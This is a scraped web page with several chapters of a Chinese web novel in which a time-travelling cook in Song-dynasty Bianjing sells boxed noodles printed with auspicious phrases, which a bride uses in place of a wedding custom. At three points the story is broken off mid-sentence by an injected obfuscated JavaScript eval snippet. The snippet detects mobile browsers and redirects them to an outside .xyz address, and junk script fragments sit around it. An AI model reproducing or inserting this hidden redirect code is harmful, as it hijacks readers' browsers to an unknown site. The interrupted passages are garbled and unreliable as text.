梁琪交代完所有事，再无后顾之忧，收拾了自己的小包袱，准备明日上工。 - 是夜，宝阳郡主府。 宝阳郡主靠在软榻上，拿着银签悠闲地扎蜜瓜吃，抬头望了眼窗外黑透的天儿，施施然问：“官人还没回来吗？” 立刻有丫鬟上前回话：“回郡主，老爷方才让人带话回来，说今日殿前司事多，留宿大内了。” 这话放在别人身上像是托辞，放在郡主这里，她却深信不疑，无他，只因她这官人是一等一的实诚人。 只要在家，就爱黏着她，处理公务也要她红袖添香在侧，两人感情一直很好。 故而刘官人若不是有什么脱不开身的公务，也不会选择留宿大内。 宝阳郡主耸耸肩，又问：“子今呢？也没回来？” 丫鬟正要答话，只见一袭青衫的年轻郎君走了进来，疏离的神情没有因为回到家而有丝毫柔和，依旧敛容肃目。 刘子今规规矩矩地行了礼：“子今下学，来给母亲请安。” 25. 碗托儿 反正各种果子都想尝一尝，梁琪干脆也学刚才那客人，选了一堆，用漆盒打包带走。 活计把果子装盒时，她趁机问店家：“您家这漆盒极为漂亮，是在哪做的？” 因她买的果子不少，是个大主顾，店家颇为热情地回答：“就在街东头的器皿铺，他家不仅做漆盒，还做别的木活，什么牌位啊棺材啊，都能打，木匠手艺可好了。” 梁琪：“……” 那器皿铺的老板还真是百无禁忌啊。 “那这盒多少钱一个呢？” “买的多就是五十文。” 梁琪瞠目，批发价还要五十文，都快比果子贵了。 贵府不愧是贵府，就是挥金如土，果子钱加上打包钱，再算上送货上门的费用，都得小几百文了。 果然，汴京城是有钱人的销金窟。 “客人您的果子装好了，用给您送到府上吗？” 梁琪回过神，忙说：“多谢，不用了，我自己拿走。” 她可没钱使唤活计送货上门，更没有“府上”。 回到桃源巷的家，梁琪一边吃果子，一边寻思这桩生意该怎么做。 这回她要卖的东西是面条，当然不是普通面条，是给郭员外做得那种带字的面条。 面条，也就是宋朝的嗦饼，是一样平常到不能再平常的吃食，不仅河市桥市上都有卖，家家户户也都能自己做，其实卖不出花来。 唯一的优势就是面上有字。 寻常百姓吃嗦饼只图个温饱，谁会在意有没有字，有字固然新奇，可若要为那么几个不顶饱的字付费，再新奇也没用。 所以不能只做寻常百姓的生意，梁琪盯着漆盒若有所思，得走高端路子，这种稀奇的物件，一定是达官贵府的钟爱。 打定主意，她把手中的果子往口中一塞，拍拍身上的碎屑进了智能厨房。 那日在郭员外府上做的带字的面条，得再做一批出来。 只不过这回选的字不只是贺寿的词，还有“喜结连理”、“早生贵子”、“升官发财”、“金榜题名”……何种场合的吉祥话。 甚至还有“英灵永存”、“驾鹤西游”之类的悼词，人家器皿铺都百无禁忌，她一个现代人忌讳什么玩意儿。 面条做好，不急着拿出去，而是挂在台案上晾干。 厨房装有新风系统，换气一开，循环风吹进来，鲜面条很快成了阴干，成了直愣愣的干面条。 这些面条干燥之后反而更加好看，不仅颜色上变得更白，表面也更光滑，相互碰撞时发出清脆的声音，跟一个个的象牙笏牌一样，极有质感。 梁琪带了一部分出去，裹在干净的宣纸里，带着出了门。 她没去果子铺店家说的器皿铺，那家卖的漆盒太贵了，不如直接找姚木匠打。 到了旧宋门巷子中，姚木匠依旧一个人在家，沉默地做着活计。 “姚叔，我又来啦。”一回生二回熟，梁琪再来已经是熟客，轻车熟路走进去，“您这院子里也太安静了，我还只当没人在，您这么好的手艺，怎么不多收几个徒弟。” “我有徒弟，单传。”姚木匠瓮声瓮气地说，“你怎么又来了？这回又要打什么稀奇古怪的玩意儿。” 梁琪一双眼睛狡黠地眨了眨，不答反问：“叔，羊羹吃着可还好？” 这丫头，哪壶不开提哪壶！ 明知道羊肉卷比他削的木片薄，还专门跑来问。 姚木匠白了一眼：“好，行了吧。” 梁琪先胜一重，才说：“我这回找您是打正儿八经的物件，果子盒，您总行吧？” 姚木匠不客气地说：“那不是小菜一碟。” “不过不是果子盒，是装嗦饼用的，和果子盒类似，只是里面的格子不要四四方方，要长条形。” 这要求姚木匠完全没问题，只是他很好奇，这小丫头脑子里都装的什么，上回做说做羊肉卷模型，这回又要做什么稀奇的生意？ “用来盛什么？” 旁人打木器，他都懒得多问一句，可对梁琪实属有些好奇，便多问了这一句。 梁琪笑盈盈地从怀里摸出一包宣纸，展开后里面竟是根根分明的面条。 “干嗦饼？”姚木匠仔细一瞅，才发现上面的玄机，“还有字？” 梁琪点头：“是啊，木盒就是为了盛这嗦饼。” 市面上嗦饼不贵，一碗也才三五文钱，因为成本不高，假使用漆盒来盛，木盒的成本都比干嗦饼高。 姚木匠只会做工，不懂做生意，谁知道梁小丫头这般做法会不会赔本，不过瞧她一副机灵样，想来也不会傻到做亏本买卖。 他不想问生意上的弯弯绕绕，身为手艺人，本能地对精致的东西好奇：“这字……” 梁琪抢着说：“是红糖印上去的。” 姚木匠只当是手工制作，啧啧称叹：“当真精巧，比我在木头上刻字还难。” 梁琪笑了下，这小老儿的胜负欲，什么都要比较一番。 为了铺垫待会儿讲价，她先把面条往前一送：“送您，您认字吗？瞧瞧上面写的什么。” 姚木匠今儿的白眼算是停不下来了，他不识字？笑话，那屏风上刻的诗句不是出自他之手？ 他懒得和梁琪解释，凑近了念那嗦饼上的字：“身体康健，长命百岁。” 黢黑的老脸霎那间微红，这臭丫头，还煽起情来了，殊不知他这辈子最烦人煽情！ 姚木匠含糊不清地说：“丫头有心。” 瞧着不自在的模样，梁琪笑问：“敢问姚叔，做木盒多少钱一个啊。” “就给你算……包工包料二十文。” 哇，比器皿铺便宜了一多半。 梁琪的嘴角要压不住了：“姚老果然良心。” 姚木匠哼了一声：“别以为我不知道你那嗦饼打得什么感情牌。” 梁琪讪讪说：“那也确实真心想送您的嘛。” 姚木匠二话不说，就去挑选木材。 这的木材还真不少，有杨木、桦木，还有橡木和松木，不同的木材用处也不一样，好比这橡木，根系是长在水里的，因此特别适合做防潮的家具，比如大户人家的茶桌，即便经常洒上茶水，也不易开裂变形。 就是价格贵。 梁琪就更不用肖想价格更贵的檀木和金丝楠木了，后者把她卖了都买不起。 姚木匠推荐用杨木，杨树长得快，因而密度不大，握钉力没那么好，优点是价格便宜，重量还轻。 做食品包装盒嘛，质量越轻越好，拿起来不砸手。 姚木匠当场就做起来，几个榫卯结构的木板，跟拼乐高似的拼成一口五面浅口盒，里面用薄木板分隔成条状槽，每个条形槽刚好能放下一根面条的宽度，一个盒子刚好开了十二个槽。 “这样如何？” 梁琪瞧了瞧，觉得里面的结构很满意，就是这外面嘛…… “有点厚了。” 这木盒跟果子铺的漆盒厚度差不多，一个点心的厚度而已，已经算很薄了。 姚木匠问：“你这盒里要装多少干嗦饼？” 梁琪伸出一根手指：“一个槽里只放一根。” 姚木匠：“……” 黑心商人！ 梁琪挠了挠头，这面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976776|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条本来就是走精品的路子，一盒十二根面，也够下一小碗了，倘若以量取胜，那她就不用木盒包装了嘛。 姚木匠只能把现有的木盒拦腰锯掉一半，只剩薄薄一寸的厚度，整个木盒拿在手上非常精致，像带了一块小牌匾。 梁琪满意了：“这样就好多了。” 姚木匠吹了吹木屑，拿干净的手帕擦干净，又把梁琪送他的面条一一摆进去，看效果。 一根根面条躺在各自的“一居室”里，跟一排乖宝宝似的，光洁的面条带着黄褐色的正楷字体，还真有高端大气那意思了。 姚木匠不得不承认，这丫头在做生意上有自己的天分，这带字的干嗦饼，就该配这样的包装，才符合大户人家的身价，这样的东西不愁没有钱人买。 “上面呢，要盖子吗？” 梁琪摇头：“不要，减少成本，上面只需要盖一层洁白的油纸就好。” 姚木匠扯了扯嘴角，一块木料钱都省，这小娘子抠门到家了。 梁琪拿着新做好的木盒爱不释手，寻思了一会儿：“姚叔，漆涂两种颜色，大红和大黑。” 左右她这面条不是卖给有红事的人家，就是卖给有白事的人家，红事用大红盒，白事用黑盒。 “好。”姚木匠说，“加三文钱，我让徒弟给你送到家。” 梁琪：“……” 这小老儿跟她待了半晌，学会做生意了。 - 搞定漆盒的事，梁琪又到了州桥上。 香娘子正在给客人打饮子，天儿越来越热，她那饮子里加了冰，还添了雪花酪的营生，生意很是不错。 “于府同款”的招幌还在桥头飘着，引得人驻足询问，香娘子就热心地给人指路，有时候也会跟喝饮子的客人唠两句，跟人介绍那羊肉卷。 梁琪觉得每日这二十钱花的非常值当。 当初跟香娘子说好了五日一交钱，今儿正好是第五日，可巧该给下五日的钱了。 她走过去，问香娘子卖了一碗冰镇荔枝饮。 清甜凉爽的荔枝饮下肚，方才鼻尖上那点汗珠瞬间消了。 香娘子问：“铺子里的羊肉卷卖得可还好？” “托香娘的福，极好。”梁琪笑说，“饮子的生意瞧起来也不错呢。” 提起这个香娘可就忍不住笑了：“夏日是饮子的旺季，就指望着这段时间赚钱呢，等天一冷，生意可就冷清了。” 梁琪想了想说：“天冷后为何不卖热饮？” 香娘子苦笑说：“这各色果子饮、鲜花饮，皆适合做成凉饮，做成热的味道甜腻，爱喝的人不多。” 这倒是了，后世的百果茶也习惯性做成常温和冰的，谁会点热果茶喝。 “拿要是做成乳茶呢？”梁琪提供个思路。 “乳茶？”香娘子一愣，这倒是从未设想的路子。 宋朝虽然没有辽国的牧场多，但农户中也有不少养牛者，汴京城中所用牛乳的人家不少，只是价贵。 故而尚未见到有卖乳茶的摊铺。 价格倒是其次，成本高的食物卖价也高就是了，只要味道好，不愁没人买。 可她是香娘子啊，做饮子这么多年，还能调制不出美味的乳茶，且等闲时好好研制就是。 香娘子颇为激动地说：“梁小娘子，真是谢谢你了，一句话点醒了我。” 梁琪知道做乳茶仍有许多困难，后续只能靠香娘子自行摸索了。 “香娘，我这次来，是想在你这摊子上再寄放一样物件。”说着，梁琪拿出姚木匠给她做得木盒来，盒子里是十二根带字的面条。 “便是此物。” 26. 喜面（二） 香娘子方才就看到梁琪拿了样浅口木盒，里面还有一条一条的象牙白。 包装如此精致，她还当是首饰一类的贵重物件，此刻一瞧，竟不是。 “这是何物？” “干嗦饼。” 香娘子都惊呆了，这么精致的玩意儿，你说是家家户户灶台上的嗦饼？ “即是嗦饼，为何上面有字，还装在这样好看的木盒里？” 梁琪略微解释了一下这嗦饼的用处和售卖对象：“这嗦饼现在叫喜面，在我家中便可买到，只因我家中巷子深，怕等不来生意，所以只能放香娘这赚吆喝。” 香娘明白了，只是仍诧异于这喜面的精致，忍不住赞叹道：“这可太有巧思了。” 梁琪从荷包里掏出钱：“现钱说好每日是二十文，现在我又加了一样物件，这钱涨到三十文如何？” 香娘子却摆摆手：“不用，方才你提醒我做乳茶，我正不知道如何谢你，现下正好抵了。” 梁琪不太好意思：“这怎么行？” “这有什么，这东西摆在这儿又不碍事，顺嘴就荐给客人了。”香娘子还说，“还有那日来的采荷小娘子，也是你荐来的吧？那可是个大主顾，足足买了二十万香饮子。” 梁琪记得，她当上铛头儿请全厨司的人喝饮子，自己虽然有事没来，却把钱都给了采荷，说若是顺路，就买州桥上香娘子家的饮子。 也算照顾生意了。 她笑说：“日后有机会，再与娘子介绍客人。” - 又过一日，姚木匠的徒弟来送木盒了。 梁琪也终于见到了这位传说中的“独苗”，姚木匠的单传徒弟。 听说，姚木匠一辈子没有娶妻生子，原本不打算把手艺传下来的，有一年生病，几乎要病死家中，还是隔壁的大娘知道了，花钱请来郎中，又一日日地照顾着，才算把姚木匠从死神那里抢回来。 可惜好人没好报，一场大火夺了大娘的命，只剩下孤苦无依的儿子。 姚木匠便把大娘的儿子收为关门弟子，倾囊传授了一身的手艺。 这棵独苗也算孝顺，虽然人木讷了点，却是个实诚人。 姚木匠让他来送货，他一人拉了一大车，累的满头是汗都不肯歇一歇，又帮梁琪把木盒卸到院子中，码得整整齐齐。 等梁琪在屋里晾好茶，等他来喝时，小伙子已经默不作声地拉着车子走了。 弄的她怪不好意思。 梁琪数了数这批送来的木盒，足足有一百只，如今生意刚起步，暂时是够用了，等快用完时再去姚木匠那预定。 接着便正式开始干活了。 第一步，运来的木盒要先擦拭，免得上面有灰尘——她可是个极为良心的商家，绝对保证食品卫生； 第二步，把干燥好的面条逐一放进木盒中，分门别类地放好，婚庆类放摞一排，寿辰类的摞一排，科举中地的摞一排，悼词类的再摞一排…… 第三步，买来干净的油纸裁成木盒大小，盖在面条上面。 最后一步，把所有盛有面条的木盒搬进东屋，东屋干燥，不至于在潮湿的夏季让面条发霉。 如此，虽有的步骤便都完成了，就等客人上门。 梁琪在家一连等了两日，登门的客人倒是有，只是稀稀拉拉，统共也就三五个。 客人见到那带字的面条倒是挺惊喜，评价也很不错，可就是来的客人太少。 问题归结于：宣传不到位。 新物件打开局面的确不容易，不像羊肉卷，十分玄妙地火起来了，这面条不比羊肉卷差，差的就是一阵东风。 梁琪在家坐不住了，跑到州桥上去看。 香娘子摊子上的生意依旧不错，也很热情地给食客推荐干嗦饼。 客人当个稀罕物去看，发出一片啧啧称奇声，一问价格，却又还给香娘，嬉笑着说等家中办喜宴时一定买。 一盒干嗦饼的价格是八十文，梁琪定的价，实话实说，有些贵，但她就是要卖得贵一些，精品的东西，价格上不去，就算不上精品。 她登上桥头，在香娘子的摊子旁坐下，思索对策。 这干嗦饼和羊肉卷不一样，羊肉卷削得再薄，也没增加附加价值，只比羊肉卖得贵一星半点，但这干嗦饼就不一样了。 在桥头上买饮子喝的必定不是什么大富大贵的人家，在这里再怎么宣传，人家顶多瞧个稀罕，也不会花八十文买碗嗦饼啊。 只有让富人看到，才有卖头儿。 梁琪平时能接触到的富人，也只有李府的李夫人和于少夫人，似乎也没什么用啊。 恰在这时，两个年轻的小娘子来买饮子，各自要了碗山楂红枣饮，坐在遮阳伞下慢慢饮用。 “咱们喝完饮子就去货郎那里，给小姐买个磨喝乐吧，小姐从小就喜欢玩。” “没有用，你没瞧见小姐连最爱的簪子都砸了吗？这回和林官人闹别扭，小姐可是生了大气。” “是啊，都怪那林夫人，非逼着小姐在宴席上说什么‘生不生’的话，还说婚俗就是这样，现在小姐说不嫁了，看他们怎么收场。” “明日就是婚期，就让那林家着急去吧。” 梁琪在旁边听了一耳朵，好奇地问：“两位小娘子，妾不小心听到你们的谈话，敢问‘生不生’，是什么意思？” 其中一个挽双髻的小娘子说：“娘子不知道汴京城的婚俗？新嫁娘迎到夫家后，要被长辈喂不熟的子孙勃勃，问新娘子生不生。” 梁琪扯了扯嘴角，合着后世的这项婚俗打从宋朝就有啊。 还是她那好友的婚礼，本该喜庆的日子里，被婆家的长辈喂饺子，当着一群陌生亲戚的面问“生不生”。 她那好友也是刚，直接把饺子吐出来，对着摄影机喊：“这家人怎么连饺子都煮不熟？” 最后以众人哄笑结局，想想这个习俗，实在算陋习。 小娘子口中的小姐虽然是生活在宋朝的人，思想却很超前啊，这会儿就能勇于反抗陋习俗。 梁琪真心夸赞；“你家小姐敢于反抗，令人佩服。” 那小娘子闻言，却激动起来：“娘子不觉得我家小姐是胡闹？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980863|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “怎会？姑娘家脸皮薄，大庭广众之下问这种问题实在无理，反抗怎的是胡闹。” “况且就算不是因为脸皮薄，女子不想生，也不是什么罪过啊。” 小娘子点头如捣蒜：“知音啊，我家小姐也常说这种话，夫人和周围的人都说她胡闹。” 梁琪询问具体情况，那小娘子约莫觉得梁琪同她家小姐是知音，便一股脑儿地如实相告。 原来这小姐是崔家的待嫁女，订下的亲家是城东林家，婚期就在明日。 这崔小姐和林官人少时就相识，如今喜结良缘，可算佳偶天成，两家人欢天喜地的准备送嫁、迎亲，一切事务都没有问题，唯独卡在吃饺子的环节。 正如小娘子所说，这是汴京城的婚俗，可崔小姐听完林家官人报备完婚礼流程后，却说要去掉这吃饺子的环节。 和梁琪所想的一样，黄花大闺女被当众问生不生，崔小姐才不受这个委屈。 可当林官人回家和母亲一说，林母不同意。 于是，两边就因为一口饺子，杠上了，各有各的道理。 林夫人摆明态度，坐福吃饺子是婚俗，事关夫家的福运，不吃怎么可以？ 崔小姐也放出话来，她这辈子就嫁这一次人，吃不吃饺子都由不得自己做主，那这亲结干脆别接了？ 梁琪：“……” 小丫鬟无奈地说：“就是这样，眼瞅着婚期将至，事情到现在没解决。” 梁琪颇为感慨，这崔娘子的确很有寻常娘子没有的果敢，早早明白人大于习俗的道理，为了习俗委屈人的感受，那这个习俗就不是好习俗。 可这里毕竟是宋朝，是封建社会，习俗之下压死人，女子在家从父、出嫁从夫是此时人们根深蒂固的思想。 她敬佩崔娘子，却也为少不得为她的将来担忧，不嫁，坏了名节，嫁了，可不得被婆母记恨上，等进了门立规矩便是常事。 最好的法子还得是折中，让双方都有台阶下。 想到这里，梁琪站起身，到香娘子的摊位上拿来那盒喜面，掀开油纸给两位小娘子看。 “不如将吃子孙饽饽改为吃喜面？” 两个小娘子原本还觉得梁琪在说笑，子孙饽饽怎么能换成喜面？ 可等她们看到那面条时，眼睛双双睁大了，这面不仅洁白无暇，摆放在精致的盒子中，上面竟还有字。 “喜结连理，百年好合；两情相悦，白头到老。” “佳偶天成，金玉良缘；丁财两旺，珠联璧合。” 等念完面条上的字，两人都惊呆了，这嗦饼上竟有吉祥字，不愧叫喜面啊！ “两情相悦，白头到老，不正是小姐所祈求的婚姻吗？” “那‘丁财两旺’四字，不就是林家夫人所求的子嗣和福气吗？如此一来，两边皆可满意了。” 丫鬟急忙问：“娘子，这喜面卖吗？我买下与我家小姐和林夫人过目。” “卖啊！”梁琪笑说，“八十文一盒。” 大户人家的丫鬟果然不一样，当即取出钱袋子：“这盒我要了。” 27. 喜面（三） 翌日，城东林府挂起大红灯笼和帷幔，处处张贴双喜。 迎亲的队伍已经前去崔府接亲，喜主在大门口迎来送往，和前来捧场的宾客互道“恭喜”，时不时望向街头，等着迎亲队伍归来。 眼瞅着吉时快到，新嫁娘快该接回来了。 正说着呢，远处传来唢呐声，只见新郎官坐在高头大马上，喜气盈盈地跟路边的人招手，身后跟着龙凤软轿。 这是把新娘子娶回来！ 崔娘子坐在软轿中，身穿凤冠霞披，听着外面热闹的声音，有些娇羞地用团扇挡住嘴角。 生平头一回嫁人，心里头多少还是有些紧张的，可她知道，轿子外面就跟着她的心腹丫鬟，还有好几位闺中密友也前来送嫁，她这心里还是挺踏实的。 外面响起噼里啪啦的鞭炮声，林家到了，她下了轿子，被一位林府的同族长辈搀扶着往里走。 汴京城的婚俗多，周围的宾客也多，这里是林家，没有了她的娘家人，她的目光时不时看向几位好姐妹，心里头的紧张才渐渐缓解。 在正堂拜完天地，她就被搀着挪到厢房，坐在铺好的大红喜被上，就是传说中的“坐福”。 据说新娘子坐得越久，福气就越足。 崔娘子觉得这婚俗就是搞出来打压新媳妇锐气的，叫什么坐福，该叫坐规矩才是。 不过底下的棉被又松又软，被表是丝绸，坐起来倒舒服得很，方才在正堂的一番折腾，脚累得很，坐在这儿全当歇歇脚。 倒也能坐得住。 几个闺中好友都在厢房里陪着，有的倒来茶水问渴不渴，有的偷偷拿来点心，用宽袖遮掩偷偷给新娘子投喂。 崔娘子有些好笑，竟是吃饱喝足了。 “接下来就该吃子孙勃勃了吧，婉娘，你忍忍，过了这关就可以歇息了。” “这世道对女子太不公平了，咱们婉娘如此率性的女子，到最后还是为一碗子孙饽饽让步。” “什么时候官家下一道圣旨，把这吃子孙饽饽的婚俗禁了才好呢。” “官家怎么可能管这等小事，咱们就受着吧，反正一辈子也就这一回。” 崔婉婉捂嘴轻笑：“姐妹们，谁说我让步了，你们且瞧，待会儿才没有什么子孙饽饽。” 姐妹团皆是诧异。 “难不成最后是林夫人妥协了？老天爷，那位可不像是能舍弃婚俗的主儿。” 崔婉婉想了想：“她也不算妥协吧，只是我的丫鬟在市井寻到一样好物件，用来代替子孙饽饽，两边都很满意。” 姐妹们的好奇心瞬间被吊起来了，市井上究竟有什么好物件，即能让婉婉不用吃子孙饽饽，又能让固执的林夫人满意？ 不多时，方才搀扶崔婉婉的那个同族长辈来了，看年纪应该是个婶母之类的身份，叫喜娘，身后跟着丫鬟，丫鬟手里捧着一碗气腾腾的食物。 来了，吃子孙饽饽的环节。 几个年轻小姐不住地往红碗里看，视线跟着丫鬟移动，碗里面盛着的竟不是子孙饽饽，而是嗦饼。 具体说，是一碗带字的嗦饼。 喜娘喜气洋洋地说：“新娘子吃喜面喽。” 按规矩，新娘子吃喜面，要长辈亲自来喂。 她拿起红筷，夹起一根面条说：“吃一口，永结同心，白头相守。” 好了，喜娘有新词了，不再是从前俗到家的“生不生”，开始拽文了。 倒不用为难喜娘背词，照着面条上的吉祥话念就成，一口一句词，句句不重复。 还显得新娘有文化，林家有底蕴。 崔婉婉面带笑意地吃了三口面，没有一点尴尬，说实话，这面还挺好吃，筋道爽弹。 小姐们都看愣了，嗦饼还能这么用？虽说是百姓家常见的吃食，可经过一包装，不仅改了喜庆的名字，印上吉祥的话语，硬是让“生不生”的环节变得文雅起来。 婉娘的丫鬟还真是发现了天大的好物。 等喜娘端着剩下的面心满意足离开，几个姑娘立刻围上来，叽叽喳喳地问崔娘子。 “那喜面也太好用了，婉娘，这面汴京城哪里有卖？” “对啊对啊，在哪能买到？我这就让丫鬟去买，等我出嫁时也要用这喜面代替子孙饽饽。” “这多好，又吉利又斯文，还能填一填空空荡荡的肚子，不管是新娘还是夫家都满意。” “婉娘，快说呀，在哪买喜面？” 婉娘得意得不得了，原本以为这是最尴尬的环节，现在好了，不仅不尴尬，还人见人夸。 在一众闺中密友中可太有面子了。 为了好友们的幸福，她毫不藏私说道：“丫鬟是在州桥上看到的喜面，卖家是个姓梁的小娘子，就在她桃源巷的家中就能买到，八十文一盒。” 八十文在这些大户人家小姐的眼中压根不算什么，崔婉婉刚一发现这好东西时，一下子买了十盒。 除了她坐福时要吃的喜面，还给念书的兄长和官人买了金榜题名的喜面，给家中祖父祖母买了身体康健的喜面，给小侄女买了五彩孩童面…… 谁说喜面只有办喜事的时候才能吃，这么好看的面，当然想吃就吃了。 几位小姐被她说的心动不已，恨不得现在就去桃源巷梁小娘子家，囤它个十来盒。 一位高挑的小姐说：“我有预感，自婉娘以后，这汴京城吃子孙饽饽的习俗，要改了。” 毕竟这喜面确确实实比子孙饽饽效果好太多。 与此同时，正堂喜宴上，林官人正在与宾客一一敬酒。 宾客大多是林官人的父亲林相公的同僚，自有林相公和林夫人招呼，林官人重点招待国子监的同窗们。 这些同窗得知好友办喜事，可是跟博士好说歹说才告了假。 其实“好说歹说”的只有江临一干学问平平、幺蛾子还贼多的监生，像刘子今这样的好学生，博士是不会多言一句的。 林官人对刘子今的出席十分荣幸，亲自斟了酒：“子今兄弟，敬你一杯。” 刘子今端起酒盏：“林兄有情人终成眷属，恭贺。” 林官人仰头一饮而尽，笑说：“我与子今兄弟同岁，如今兄弟我都结亲了，子今也该把此事提上日程了。” 刘子今目光微垂：“不急。” 江临端着酒盏挤过来，八卦地问：“昨个儿不是说崔小娘子因子孙饽饽的事闹脾气，不愿嫁过来吗？林兄用了什么法子哄得娘子破滴为笑啊？” “江兄弟又打趣我。”林官人苦笑着说，“娘子不是个无故闹脾气的人，要怨就怨东京风俗如此，昨日重归于好也并非我的哄劝，而且娘子寻了个巧宗，完美解决了此事。” 江临好奇地问：“哦？我倒好奇，这和风俗撞上的事，该如何解决。” 众位监生也都知道，林夫人可是个说一不二的当家主母。 林官人其实也不十分清楚，只知道昨日午后，婉婉的贴身丫鬟突然带着一盒干嗦饼求见母亲，说要用那干嗦饼代替子孙饽饽。 当时他还在想，完了，婉婉如此行事，母亲定会生气，他夹在中间实在不知道该如何相劝。 谁知丫鬟出来时笑意盈盈的，母亲坐在厅堂喝茶，一脸舒心顺意的模样，桌上就摆着那盒干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992689|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗦饼。 “那干嗦饼上面用红糖印有许多吉祥喜庆的话，因此也叫喜面，就是那玩意儿让母亲和娘子各退一步。” 江临等人听着十分有趣，追问道：“东京城中还有人能在嗦饼上用红糖写字？哪家卖的？” 林官人想了想：“似乎是的姓梁的小娘子，先前从未听说过这位厨娘的名号，突然间出现的。” 刘子今淡淡的眼眸微微一动，又是她，那个做什么都能别出心裁的梁厨娘。 江临还没反应过来，琢磨着这梁小娘子好耳熟，似乎在哪听过。 突然，他拿扇子一敲脑门：“梁小娘子，莫不是于府请的四司六局中那个梁小娘子？” 林官人有些诧异：“江临兄弟连司局的厨娘都记得？” 要不是刘子今非要给这厨娘讨赏，他怎会印象深刻？不过话说回来，那厨娘做饭真挺好吃，即便没有刘子今的讨赏，说不定他也会记忆犹新。 “不信你们问子今。”他急着让说话更权威的同窗为自己证实，“子今，你为她向于相公讨赏的厨娘，是不是就是这个梁小娘子？” 刘子今为了一个厨娘向人讨赏？这什么时候的事？刘监生不是这么热情的人吧？ 众同窗瞪大惊奇的眼睛，仿佛在等子今反驳，这样才正常。 刘子今语气平常道：“我确实认识一位梁厨娘，那有字的喜面，应是她能做出来。” 不仅没反驳，还主动承认，众人隐隐觉出，刘兄弟与平时不甚相同，而且这语气怎么听着有点骄傲？ 人家厨娘厉害，刘监生你骄傲个什么劲儿啊？ 刘子今觉得有好几道怪异的目光看来，他微微垂下眸，后襟有些出汗，罕见地有点尴尬，干咳一声说：“林兄不是还要招待其他客人，你我都是同窗，莫言客气，且去招呼别人罢。” 偏偏林官人离开时，勾着嘴角“啧啧”两声，明明没说什么，却让气氛变得更怪异起来。 - 林府喜宴过后，梁琪的喜面生意好做多了。 先是有一些贵府上的丫鬟来买，打听了才知道，原来都是崔小姐的闺中密友，见林府的婚礼办得高雅庄重，都觉得这喜面甚是不错。 继而又有更多贵女派丫鬟少来购置，崔娘子在婚礼上的事迹传来了，大家似乎都发现了用喜面代替子孙饽饽的好处。 梁琪还接待了不少当家主母派来买喜面的丫鬟，林府的新媳妇坐床，喜娘喂面时说的吉祥话全是成语，得了不少参加喜宴的文人雅士的夸赞，说林府高雅。 这些当家夫人们一听，喜面还有这效果呢？不买是傻子啊。 再者，左右于自家名声利好，干脆再用喜面赢得未来儿媳妇的好感，也是一箭双雕啊。 汴京城人口众多，也不全是达官贵人，普通百姓才是占了大多数，隔三差五就有结亲的。 竟也舍得花八十文买一盒喜面。 想想也是，就算是普通百姓，结亲时好几百钱一桌的席面都摆了，不差八十文的花销了。 因此梁琪这喜面，竟是做到了普通百姓头上。 她掐着指头算，再过几个月就是秋闱，学子科考在即，想来那“金榜题名”面也能趁机卖一波。 正盘算着，门外来了个提瓶人，给孟记食铺的孟二娘带话，说食铺的羊肉卷不多了，需要再做些来。 梁琪停下手中的活儿，便出门买羊肉。 在河市上逛了一圈，忽然看到一道熟悉的身影，正搬着沉重的腌菜缸，一点一点吃力地往从车上挪下来。 走近了，看清对方的脸，她诧异地喊了声：“张铛头儿？” 28. 宝阳郡主 张德发停下手里的活儿，转头一看，面露惊喜：“梁小娘子？来河市买菜啊？” 梁琪点点头：“买些羊肉、豚肉，和小麦粉。” 羊肉卷要赶紧做，汤包和面条也要事先备好，今日要买的食材还真不少。 张德发爽朗地笑了声：“听说了，那孟记食铺的汤包和羊肉卷都是你供货嘛，还有这几日卖得不错那喜面，也是出自你之手。” 不得不说，梁小娘子很有天赋，不仅有做饭的天赋，做生意也是一把好手。 要知道，做饭好的人不一定会做生意，比如他自己。 梁琪笑了笑，问：“您怎么在这儿啊？这腌菜是？” 张德发不好意思地挠挠头：“我在这儿卖腌菜。” 梁琪很是诧异，曾经四司六局的铛头儿，就算不做铛头儿了，钱财应该也没少积攒，又有一手的好厨艺，怎么会到来河市卖腌菜？ 张德发看出梁琪的疑惑，解释了一番。 原来张铛头儿从四司六局离开后，也在一些酒楼脚店寻过厨子的活计，不曾想，得到的答复都是一样的：不要。 这就很可疑了，明明是个手艺上佳的大厨，竟都不用，甚至连工钱都没谈就做出这样的答复。 梁琪猜测：“像是被人交代过。” “的确，打招呼的人正是吕把头儿。”张德发说，“他应是和酒楼行会的行头儿说了，行头儿又告知底下的铺子，都不许用我。” 梁琪愤愤道：“这吕把头儿真可恶！” 先前她还觉得吕把头儿只是个重利的商人，德行倒还过得去，也是到现在，才发现那就是个极为阴狠的人，既然注定了张铛头儿结仇，就一定要把人按死，不留一点让仇人反扑的可能。 